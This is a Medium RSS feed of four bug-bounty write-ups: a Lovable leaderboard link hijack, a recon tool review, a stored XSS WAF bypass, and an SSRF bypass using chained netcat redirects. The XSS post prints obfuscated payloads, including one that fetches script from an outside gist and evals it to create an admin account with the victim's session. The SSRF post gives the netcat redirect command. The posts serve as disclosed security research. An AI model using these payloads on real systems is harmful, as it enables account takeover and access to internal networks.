<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Koru AI on Medium]]></title>
        <description><![CDATA[Stories by Koru AI on Medium]]></description>
        <link>https://medium.com/@getkoruai?source=rss-5c2743d3b960------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*yWFk18sV2rup4jJDvy4Q9g.png</url>
            <title>Stories by Koru AI on Medium</title>
            <link>https://medium.com/@getkoruai?source=rss-5c2743d3b960------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 02 Dec 2026 09:49:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@getkoruai/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Lovable Subdomain Takeover | How we became #1 on Launched]]></title>
            <link>https://infosecwriteups.com/lovable-subdomain-takeover-how-we-became-1-on-launched-fae323347718?source=rss-5c2743d3b960------2</link>
            <guid isPermaLink="false">https://medium.com/p/fae323347718</guid>
            <dc:creator><![CDATA[Koru AI]]></dc:creator>
            <pubDate>Mon, 11 Aug 2025 11:26:06 GMT</pubDate>
            <atom:updated>2025-08-11T12:38:36.627Z</atom:updated>
            <content:encoded><![CDATA[<p>We’re number 1 on Lovabe Launched leaderboard and we got here in just couple of minutes. In this post, we’re introducing a way to get into Lovable Launched leaderboard with a simple subdomain takeover.</p><p>If you go to Lovable Launched leaderboard at <a href="https://launched.lovable.dev/">https://launched.lovable.dev</a> and look at the number 1 in this week.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l43tL5jPbEBkBFDVlzcsgQ.png" /></figure><p>When you click on visit button for “MLM Binary Tree Platform”, you’ll see the page below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qN4LuvJU5XF0GgUvvKDovQ.png" /></figure><p>Here is a video showing how it works from user’s POV:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1108733446%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1108733446&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2046063975-61fe3d8615e4608602bd8a2739227ebb4815026f8157dc1802a90cb1152e3dd3-d_960%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1080" height="1080" frameborder="0" scrolling="no"><a href="https://medium.com/media/3aabfcdb84709fdd9b5577e1b291f26f/href">https://medium.com/media/3aabfcdb84709fdd9b5577e1b291f26f/href</a></iframe><p>It’s quite simple. Here are the steps.</p><ol><li>Go to Lovable Launched leaderboard at <a href="https://launched.lovable.dev/">https://launched.lovable.dev</a></li><li>Click to couple of projects until you see the page below.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dx9zXBb6taY_g22VtP0unQ.png" /></figure><p>3. Create a new Lovable project on lovable.dev with the project name as seen in your target subdomain.</p><p>4. Build the project you want and click on publish.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*Xz27b-611HrC3nbS1vZSfA.png" /></figure><p>That’s it. It was quite fun at our end to exploit it and share this with the world.</p><p>From Launched perspective, it’s not actually a subdomain takeover. The reason is anybody can host their content at lovable.app domain, so it’s not like other subdomain takeover cases where you’re taking over a content under a domain. This could have been used only UI redressing and phishing. Other than that it’s just simple fun.</p><p>When you see a CNAME record to a lovable.app subdomain which is empty, keep in mind that you can takeover them and it would be a real subdomain takeover.</p><p>So, We sent an email about this to Lovable team and also shared it over social media. Lovable security team was amazing at response and whole thing was fixed in couple of hours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EzSUzYoUr7lJmrNi-rnsWQ.png" /></figure><p>Koru AI is an AI security agent living inside your API. It builds defenses and blocks hackers on the fly. Secure your app now for free at https://getkoru.ai</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fae323347718" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/lovable-subdomain-takeover-how-we-became-1-on-launched-fae323347718">Lovable Subdomain Takeover | How we became #1 on Launched</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tool Review — TraceWeb.io Extension]]></title>
            <link>https://infosecwriteups.com/tool-review-traceweb-io-extension-5fdf79396e21?source=rss-5c2743d3b960------2</link>
            <guid isPermaLink="false">https://medium.com/p/5fdf79396e21</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[browser-extension]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Koru AI]]></dc:creator>
            <pubDate>Thu, 08 May 2025 05:15:37 GMT</pubDate>
            <atom:updated>2025-05-08T05:15:37.840Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Tool Review — TraceWeb.io Extension</strong></h3><p>I love the tools that I can rely on and makes my hacking easier. I think there is a reason why legends like Naffy keep using nmap for everything. It’s the same reason why I use “dig” instead of some fancy tool. Because it’s reliable. Want to see for yourself? Go ahead and try the tools that do the same job and measure the number of results it returns. I keep using Soroush Dalili’s IIS shortname scanner even though it’s a 13 years old tool that got its latest update 2 years ago.</p><p>What about when it comes to tech detection? My friends work on TraceWeb. It has multiple use cases under its belt. First of all, it returns the detected tech of a website. But that’s just the tip of the iceberg. It collects URLs from multiple sources including other hackers who use it about the paths discovered on a site and keeps monitoring it for tech detection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*cHpQsKmE6FkEABmP" /></figure><p>When I test for CORS on a website I make a very comprehensive approach. Through that I’ve scored some great bounties before.</p><ol><li>Collect as many domains as possible belonging to that organization. In order to do that use Whoxy to check registration data of every domain they own. From those records try to look for a company name or email address related to it. Use them to reverse whois and discover more domains.</li><li>Collect email addresses that belong to the organization and do whoxy API calls to see if any of them registered a domain. I’ve written a simple bash script for this.</li><li>Use TraceWeb’s “External Domain Requests” section to get a list of domains that your web app talks.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/0*iGxXgjNTFolxH_8A" /></figure><p>4. Use all the domains for API request’s origin section to see if any of them are allowed.</p><p>5. If there are any allowed, try to see if subdomains are allowed.</p><p>6. Try using tools such as recollapse to check for regex mistakes.</p><p>7. Try to find XSS on hosts that are allowed in CORS and then use it to chain vulnerabilities.</p><p>When testing for CORS, do not forget to utilize browser cache with wildcard allowed origin apps.</p><p>How to use tech detects for your advantage? Well the best use case for that is for fuzzing. You can focus on tech related extensions or naming schemes.</p><p>What about monitoring targets? Well, it takes some time to build that. Thankfully the Traceweb team keeps monitoring the websites you visit for technology changes. I’m told this feature will be available soon. When it does, in a large wildcard scope, following updates in their techstacks may reveal a couple of things.</p><ol><li>The most important one is looking for CVEs in the newer versions.</li><li>The other is if a technology is integrated or the current one is changed, it brings a fresh target which hasn’t been tested before. Especially important in bug bounty, we lost tens of thousands of dollars only by a couple of minutes.</li></ol><p>Another upcoming feature is CVE matching with the detected tech. This way you have quick access to vulnerabilities that might exist on target. It’s pretty useful when doing a flyover of targets before getting into details. When it comes to CVEs, there used to be a great repo for keeping POCs called cvebase which is discontinued. I think we need another project like that. Makes hacking much better. I guess I’ll create an AI agent for the job.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Pg6RiDNhzKDaqDVj" /></figure><p>TraceWeb also puts you on the waitlist for premium features that are free for a year. Especially more Shodan like features which lets you do filtering of crawled assets based on multiple parameters might be useful for things such as quick exploitation of unpatched CVEs.</p><p>Give it a try and any feedback is appreciated for the team. Here it is: <a href="https://chromewebstore.google.com/detail/nhdangmilkmahpnhmongdcechinodpob">https://chromewebstore.google.com/detail/nhdangmilkmahpnhmongdcechinodpob</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5fdf79396e21" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tool-review-traceweb-io-extension-5fdf79396e21">Tool Review — TraceWeb.io Extension</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypassing WAF to Weaponize a Stored XSS]]></title>
            <link>https://infosecwriteups.com/bypassing-waf-to-weaponize-a-stored-xss-ff9963c421ee?source=rss-5c2743d3b960------2</link>
            <guid isPermaLink="false">https://medium.com/p/ff9963c421ee</guid>
            <category><![CDATA[web-applications]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Koru AI]]></dc:creator>
            <pubDate>Tue, 17 May 2022 08:37:05 GMT</pubDate>
            <atom:updated>2022-05-17T08:37:05.924Z</atom:updated>
            <content:encoded><![CDATA[<p>While testing a bug bounty program, I’ve noticed my &lt;u&gt;html injection&lt;/u&gt; payload worked while spraying it to every field that is reflected in the application. Then, my first urge to get an alert with &lt;img src=x onerror=alert()&gt; had failed me. Alert() was blocked by cloudflare WAF. So, I used console.log() and it was accepted and executed. The problem occurred when I had to build a PoC that shows this XSS affects other users.</p><h4>About the Target</h4><p>This application is built for HR departments to manage pensions of employees. Employees themselves don’t have access to the app. The only authorization difference happens between main-HR account and sub-HR accounts.</p><p>2 Permission levels exist for Sub-HR account.</p><pre>1. Read-Only Access<br>2. Standard Access</pre><p>A sub-HR account with standard access can create, edit, delete employee records. However, it can’t create new sub-HR accounts. Only main-HR account is allowed to do so.</p><p>So, In our attack scenario we have a sub-HR account. We’ll edit employee name to an XSS payload which will be stored. Our victim, a main-HR account visits the Income Decl. tab that results in execution of our payload. Which makes a POST request to /hrusers/add to create new sub-HR accounts.</p><p>Here is the page where XSS is executed. Information about the company is redacted by their request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6kgnDwcN7AcF68lFju-kNw.png" /></figure><h3>Exploitation</h3><p>POST /hrusers/add originally looked like this at its core(some headers are removed to increase readability):</p><pre>POST /hrusers/add HTTP/1.1<br>Host: www.app.tld<br>Cookie: auth=secret;<br>Content-Length: 976<br>Origin: https://www.app.tld<br>Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycItg8YvLxAC5Af6g<br>Sec-Fetch-Site: same-origin<br>Sec-Fetch-Mode: navigate<br>Sec-Fetch-User: ?1<br>Sec-Fetch-Dest: document<br>Referer: https://www.app.tld/<br>Connection: close</pre><pre>------WebKitFormBoundarycItg8YvLxAC5Af6g<br>Content-Disposition: form-data; name=&quot;_method&quot;</pre><pre>POST<br>------WebKitFormBoundarycItg8YvLxAC5Af6g<br>Content-Disposition: form-data; name=&quot;data[User][first_name]&quot;</pre><pre>john<br>------WebKitFormBoundarycItg8YvLxAC5Af6g<br>Content-Disposition: form-data; name=&quot;data[User][last_name]&quot;</pre><pre>doe<br>------WebKitFormBoundarycItg8YvLxAC5Af6g<br>Content-Disposition: form-data; name=&quot;data[User][email_address]&quot;</pre><pre>ne555+blog@wearehackerone.com<br>------WebKitFormBoundarycItg8YvLxAC5Af6g<br>Content-Disposition: form-data; name=&quot;data[User][username]&quot;</pre><pre>ne555-blog<br>------WebKitFormBoundarycItg8YvLxAC5Af6g<br>Content-Disposition: form-data; name=&quot;data[User][password]&quot;</pre><pre>testpass123!<br>------WebKitFormBoundarycItg8YvLxAC5Af6g<br>Content-Disposition: form-data; name=&quot;data[User][conf_password]&quot;</pre><pre>testpass123!<br>------WebKitFormBoundarycItg8YvLxAC5Af6g<br>Content-Disposition: form-data; name=&quot;data[User][role_type]&quot;</pre><pre>0<br>------WebKitFormBoundarycItg8YvLxAC5Af6g--</pre><p>302 Found is returned after a successful request.</p><ol><li>First thing I tried was using script tag but it was blocked by cloudflare.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZUxEskNve3AVDMUi5Oyu2A.png" /></figure><p>2. I tried to bypass parsing however nothing good came out of it. So I needed to build the payload inside event handlers.</p><p>3. I tried to create a XMLHttpRequest. However, it was blocked as well.<br>&lt;img src=x onerror=&quot;poc = new XMLHttpRequest()&quot;&gt;</p><p>4. After crafting couple of payloads, I realized this exploitation won’t be as easy as I thought. CSP rules allowed me to fetch data from any domain. So if I stored malicious javascript somewhere else and pull it in runtime, WAF wouldn’t be able to detect it.</p><p>5. fetch() was blocked. So I started searching a way to somehow encode it. I wanted to use <a href="https://aem1k.com/aurebesh.js/">aurebesh.js</a> for a long time. This seems like a good usecase. Here is the full payload:</p><pre>&lt;img src=x onerror=&quot;a=&#39;&#39;,b=!a+a,aa=!b+a,ab=a+{},ba=b[a++],bb=b[baa=a],bab=++baa+a,aaa=ab[baa+bab],b[aaa+=ab[a]+(b.aa+ab)[a]+aa[bab]+ba+bb+b[baa]+aaa+ba+ab[a]+bb][aaa](aa[a]+aa[baa]+b[bab]+bb+ba+&#39;(a)&#39;)()&quot;&gt;</pre><p>6. WAF didn’t block it and an alert popped. Maybe I could encode fetch() like this. I tried <a href="http://www.jsfuck.com/">jsfuck.com</a> but WAF blocked my payload. This is strange. Maybe I could write my own version of <a href="https://aem1k.com/aurebesh.js/">aurebesh.js</a> that lets me use any alphabet for any code.</p><p>7. After working on it for some time, it became clear my JS knowledge is way below the bar. I needed to find some other way to bypass this WAF.</p><p>8. <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection">PayloadsAllTheThings</a> repo was really helpful and I discovered top[&quot;al&quot;+&quot;ert&quot;](1); payload actually worked. I could sneak in dangerous functions like this.</p><p>9. If I could turn multipart/form-data to application/x-www-form-urlencoded in POST /hrusers/add request, I wouldn’t have to deal with boundaries. I did that though Burp Suite’s change body encoding feature and server accepted the request.</p><p>10. I created a gist with the code below.</p><pre>body = `_method=POST&amp;data%5bUser%5d%5bfirst_name%5d=john&amp;data%5bUser%5d%5blast_name%5d=doe&amp;data%5bUser%5d%5bemail_address%5d=ne555%2bblog@wearehackerone.com&amp;data%5bUser%5d%5busername%5d=ne555-blog&amp;data%5bUser%5d%5bpassword%5d=testpass123%21&amp;data%5bUser%5d%5bconf_password%5d=testpass123%21&amp;data%5bUser%5d%5brole_type%5d=0`;<br>poc = new XMLHttpRequest();<br>poc.open(`POST`,`/hrusers/add`, true);<br>poc.setRequestHeader(`Content-Type`, `application/x-www-form-urlencoded`);<br>poc.withCredentials = true;<br>poc.send(body);</pre><p>11. Now I had to fetch this javascript and execute it using eval(). Payload creation was problematic thanks to it being inside of an event handler and consisted of many layers. All the strings inside the gist had to be created using apostrophe.</p><p>12. The Final payload:</p><pre>&lt;img src=&quot;x&quot; onerror=&quot;top[`fet`+`ch`](&#39;https://gist.githubusercontent.com/Hubbey/84d413e76dd833b42eb0281b9d7191fa/raw/e08425e18d85b10e82dc6ba4bc25b0df08321000/blog&#39;).then(response =&gt;response.text()).then((body) =&gt;{top[`ev`+`al`](body);})&quot;&gt;</pre><p>13. Now, when the victim vists the page, a new sub-HR account is created.</p><h4>Conclusion</h4><p>Going beyond proving an XSS is working turned out to be really educating. This vulnerability was in a private bug bounty program. So, it was rewarded and this blog post was allowed by the company.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff9963c421ee" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/bypassing-waf-to-weaponize-a-stored-xss-ff9963c421ee">Bypassing WAF to Weaponize a Stored XSS</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Multiple HTTP Redirects to Bypass SSRF Protections]]></title>
            <link>https://infosecwriteups.com/multiple-http-redirects-to-bypass-ssrf-protections-45c894e5d41c?source=rss-5c2743d3b960------2</link>
            <guid isPermaLink="false">https://medium.com/p/45c894e5d41c</guid>
            <dc:creator><![CDATA[Koru AI]]></dc:creator>
            <pubDate>Sat, 29 Jan 2022 05:47:20 GMT</pubDate>
            <atom:updated>2022-02-02T16:32:33.414Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello hackers,</p><p>I needed to utilize many known SSRF techniques at once to successfully exploit many endpoints in the same company. After discovering away, I applied it to all functionalities that use attacker-controlled URLs and found 2 blind and 1 full read SSRFs. This was a bug bounty program so the blind SSRFs closed as dups and another one was accepted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_G8blW1A54p8eo0LEAPkIw.png" /></figure><h4>About the Target</h4><p>This company provides marketing services to other businesses. Their application lets you create and manage marketing campaigns. There were many functionalities to test but the application itself was slow and I don’t like testing bloated apps. So, after learning to do some basic stuff in the app I decided to not spend much time and pass the program after finding some vulns. <br>The application had a lot to do with URLs. So, it captured my attention and I decided to look mainly for SSRFs.</p><p>The report itself isn’t disclosed. Hence, I’ll refer it as “<strong>company.com</strong>” and I won’t share any image from the application itself and alter the URL structure.</p><h4>Exploitation Process</h4><ol><li>The API needs the user to be authenticated to the app and uses cookies to do so.</li></ol><p>2. We have an API call such as</p><pre>https://www.company.com/api/campaign/v3/check-snippet?url=http://example.com/</pre><p>3. url parameter is our injection point. The first thing I tried was to make a request to my <a href="https://github.com/projectdiscovery/interactsh">interactsh</a> handler to get HTTP headers and IP address of the request. The request below was made.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*trTy4ZbnvyIg4HPwY-F9WA.png" /></figure><p>4. The request came from an AWS EC2 IP address and there weren’t any open ports. There is also no useful HTTP headers leaking.</p><p>5. The application makes any outgoing request. So, my goal is the hit internal hosts. This was a blind request because it didn’t leak me the response it got. However, this functionality returns the full URL as JSON if the the request to attacker controlled URL is successfully made.</p><p>6. Both domain and direct IP was allowed. I’ve run netcat HTTP server on my Linux VPS and tried to make a request to that and it worked. However when I tried to make a request to “<strong>127.0.0.1</strong>”, it didn’t work. Then, I tried “<strong>localhost</strong>” but that also didn’t work.</p><p>7. I’ve tried to abuse the URL parser by fuzzing 00 to FF in “<strong>http://127.0.0.1/$FUZZ</strong>”, “$<strong>FUZZhttp://127.0.0.1</strong>” and “<strong>http://local$FUZZhost</strong>” but nothing came out from that. Then, I tried <a href="https://github.com/cujanovic/SSRF-Testing/blob/master/ip.py">this</a> beautiful script that generates many payloads. Again, nothing worked. I have a tendency to FUZZ all UTF-8 everywhere. I’ve discovered many odd behaviors in web applications by that way.</p><p>8. I’ve payloads like “127.0000000.000000.000001” and “127.1”. Didn’t work</p><p>9. I tried to use a subdomain that returns “127.0.0.1” in DNS A record queries. Didn’t work.</p><p>10. There are two github repos I always use when trying to bypass SSRF protections.</p><pre><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery</a><br><a href="https://github.com/cujanovic/SSRF-Testing">https://github.com/cujanovic/SSRF-Testing</a></pre><p>11. I wanted to see if the API follows HTTP redirects. So, I’ve done what I always did before and used a site that automatically makes 302 redirects to the IP address set in the URL. It looked like this:</p><pre>https://make302redirect.io/127.0.0.1</pre><p>12. I’ve used this payload to get a request, but it didn’t work. Turns out the application basically searched for keywords like “localhost” and “127.0.0.1” and if that exists in the URL provided by the user, it is blocked.</p><p>13. So, I’ve tried to run a simple Netcat HTTP server on my VPS that makes 302 redirects to any request sent to it. The command looks like this:</p><pre>echo -e &quot;HTTP/1.1 302 Found\nContent-Type: application/json\nLocation: <a href="http://127.0.0.1/n">http://127.0.0.1\n</a>&quot; | sudo nc -l -s 64.227.116.98 -p 8080 -q 1</pre><blockquote><em>(I don’t use that IP address now. Please don’t abuse the current user)</em></blockquote><p>14. I’ve made the API request below.</p><pre>https://www.company.com/api/campaign/v3/check-snippet?url=http://myIP/</pre><p>15. It didn’t work.</p><p>16. At this point, I was desperate. The application basically grepped keywords like “localhost, 127.0.0.1” and followed HTTP redirects. So, after trying some other payloads with <a href="https://medium.com/u/a37e2352fa39">pleorqy</a>, I’ve run two of those netcat servers in different ports and redirected the first one to the other to the localhost. It looked like this:</p><pre>Vulnerable server ---&gt; my server on port 8080 ---&gt; my server on port 8081 ---&gt; localhost</pre><p>17. This time it worked.</p><h4>Conclusion</h4><p>If I were to use services like <strong>127.0.0.1.nip.io </strong>, I’d never discovered this vulnerability because the application didn’t accept anything that has<strong> </strong>“<strong>127.0.0.1</strong>” in it. <br>The application checked the value of <strong>Location</strong> the header in the first HTTP 302 redirect. However, It didn’t check the second one. That leads to SSRF.</p><p>I’ve used these methods in different API endpoints and discovered 3 of these bugs in total. One of them was a full SSRF that let me discover internal assets.</p><h3>🔈 🔈 Infosec Writeups is organizing its first-ever virtual conference and networking event. If you’re into Infosec, this is the coolest place to be, with 16 incredible speakers and 10+ hours of power-packed discussion sessions. <a href="https://iwcon.live/">Check more details and register here.</a></h3><p><a href="https://iwcon.live/">IWCon2022 - Infosec WriteUps Virtual Conference</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=45c894e5d41c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/multiple-http-redirects-to-bypass-ssrf-protections-45c894e5d41c">Multiple HTTP Redirects to Bypass SSRF Protections</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>